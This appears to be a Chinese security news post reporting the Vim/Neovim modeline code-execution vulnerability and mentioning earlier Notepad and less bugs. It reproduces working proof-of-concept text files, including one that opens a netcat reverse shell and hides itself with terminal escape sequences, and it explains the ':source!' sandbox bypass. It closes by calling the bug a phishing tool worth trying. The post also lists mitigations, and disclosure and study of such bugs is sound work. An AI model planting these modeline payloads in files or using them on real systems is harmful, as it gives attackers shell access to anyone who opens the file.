猶記前些日子,微軟的記事本文本編輯器爆出了本地代碼執行漏洞。
Google Project Zero研究員Tavis Ormandy宣布在微軟的記事本文本編輯器中發現代碼執行漏洞。
可以看見,他在notepad(記事本)程序下啟動了一個cmd.exe
由於Ormandy是一名專業漏洞挖掘人員,並且還吸引了Zerodium的創始人出面評論,證實了黑客發現的問題類型並不罕見,因此也證實了該漏洞存在性極高。
而就在昨日,推上再現一則猛料,名為Arminius的安全研究員發現Vim/Neovim的本地代碼執行漏洞。。
作為linux的上古神器級的文本編輯器,就這樣曝任意代碼執行漏洞並且還被披露poc了!
附上了github鏈接。(閱讀原文跳轉)
https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md
公布POC
第一種:
1、創建poc.txt
:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source! \%"):fdl=0:fdt="
2、確保未禁用modeline選項(:set modeline)
3、在vim中打開該txt
vim poc.txt
然後系統會執行 uname -a
第二種,創建反彈shell
該PoC描述了一種真實的攻擊方法,其中一旦用戶打開文件就啟動反彈shell。 為了隱藏攻擊,文件將在打開時立即重寫。
此外,當使用cat列印內容時,PoC使用終端轉義序列來隱藏命令行。
(而使用cat -v可以顯示實際內容。)
shell.txt:
x1b[?7lx1bSNothing here.x1b:silent! w | call system( ohup nc 127.0.0.1 9999 -e /bin/sh &) | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(set\ fde=x\ \|\ source\!\ \%) fdl=0: x16x1b[1Gx16x1b[KNothing here."x16x1b[D
ps:我不是故意用記事本打開的。
視頻演示
攻擊者是右邊,被攻擊者是左邊的機器
細節
命令行功能允許在文件的開頭或結尾附近指定自定義編輯器選項。
默認情況下啟用此功能並應用於所有文件類型,包括plain .txt。 一個典型的模式:
/* vim: set textwidth_=80 tabstop=8: */
出於安全原因,在modelines中只允許選項的子集,如果選項值包含表達式,則它在沙箱中執行:
出於安全原因,不支持除「set」之外的其他命令(有人可能會使用modelines創建特洛伊木馬文本文件。 並非所有選擇可以設定。 對於某些選項,設置了一個標誌,以便在使用時使用|沙盒| 是有效的。
https://github.com/vim/vim/blob/5c017b2de28d19dfa4af58b8973e32f31bb1477e/runtime/doc/options.txt#L582
沙箱旨在防止副作用:
foldexpr,formatexpr,includeexpr,indentexpr,statusline和foldtext選項可以在沙箱中評估。 這意味著你是保護免受這些具有令人討厭的副作用的表達。 這給了一些從模式行設置這些選項時的安全性。
https://github.com/vim/vim/blob/5c017b2de28d19dfa4af58b8973e32f31bb1477e/runtime/doc/eval.txt#L13050
但是,:source!命令(使用bang [ !]修飾符)可用於繞過沙箱。它從給定文件中讀取並執行命令,就像 手動鍵入,在沙箱離開後運行它們一樣。
:so[urce]! {file}
從{file}讀取Vim命令。 這些是命令從您正常模式執行,就像您輸入他們一樣。
https://github.com/vim/vim/blob/5c017b2de28d19dfa4af58b8973e32f31bb1477e/runtime/doc/repeat.txt#L182
因此,可以簡單地構建一個在沙箱外部運行代碼的模式行:
# vim: set foldexpr=execute(:source! some_file):
Neovim還需要一個額外的步驟,即execute():
在這裡,assert_fails()也可以使用,也需要{cmd}參數:
以下模式行使用fold表達式來運行source! %以執行當前文件,該文件又uname -a || "(garbage)"作為shell命令執行:
此外,僅Neovim功能nvim_input()易受相同方法的影響,例如:
vi:fen:fdm=expr:fde=nvim_input(":terminal uname -a"):fdl=0
(過去,其他與模式相關的漏洞已在Vim中修補 - 請參閱CVE-2002-1377,CVE-2016-1248。)
除了修補之外,建議在vimrc(set nomodeline)中禁用model,使用securemodelines 插件,或者禁用modelineexpr(因為補丁8.1.1366,僅限Vim)以禁用model中的表達式。
實際上,工具類的本地代碼執行漏洞也不止上面幾兄弟,像此前的linux的less工具同樣存在代碼執行漏洞
科普:less 工具是對文件或其它輸出進行分頁顯示的工具,應該說是linux正統查看文件內容的工具,功能極其強大。less 的用法比起 more 更加的有彈性。在 more 的時候,我們並沒有辦法向前面翻, 只能往後面看,但若使用了 less 時,就可以使用 [pageup] [pagedown] 等按鍵的功能來往前往後翻看文件,更容易用來查看一個文件的內容!除此之外,在 less 裡頭可以擁有更多的搜索功能,不止可以向下搜,也可以向上搜。
試試吧,釣魚利器,注意安全。
高度評估這個會用來大批量釣魚,我賭1個億。
感謝關注轉發點贊
轉載請註明來源,謝謝
<上期看點>
APT34武器再泄一枚
竊取KeyChain的MacOS漏洞EXP公開後,再爆可繞過Mac安全警告漏洞
Absolute公司防盜追蹤軟體到底存在什麼安全問題
黑鳥威脅情報中心,只做最正確的情報,不傳謠不信謠,歡迎掃碼持續關注。
點擊菜單欄,掃碼加入每日更新的知識星球(原價299,現價269)
跳水台都準備好了,不點個贊再走嗎
推薦閱讀: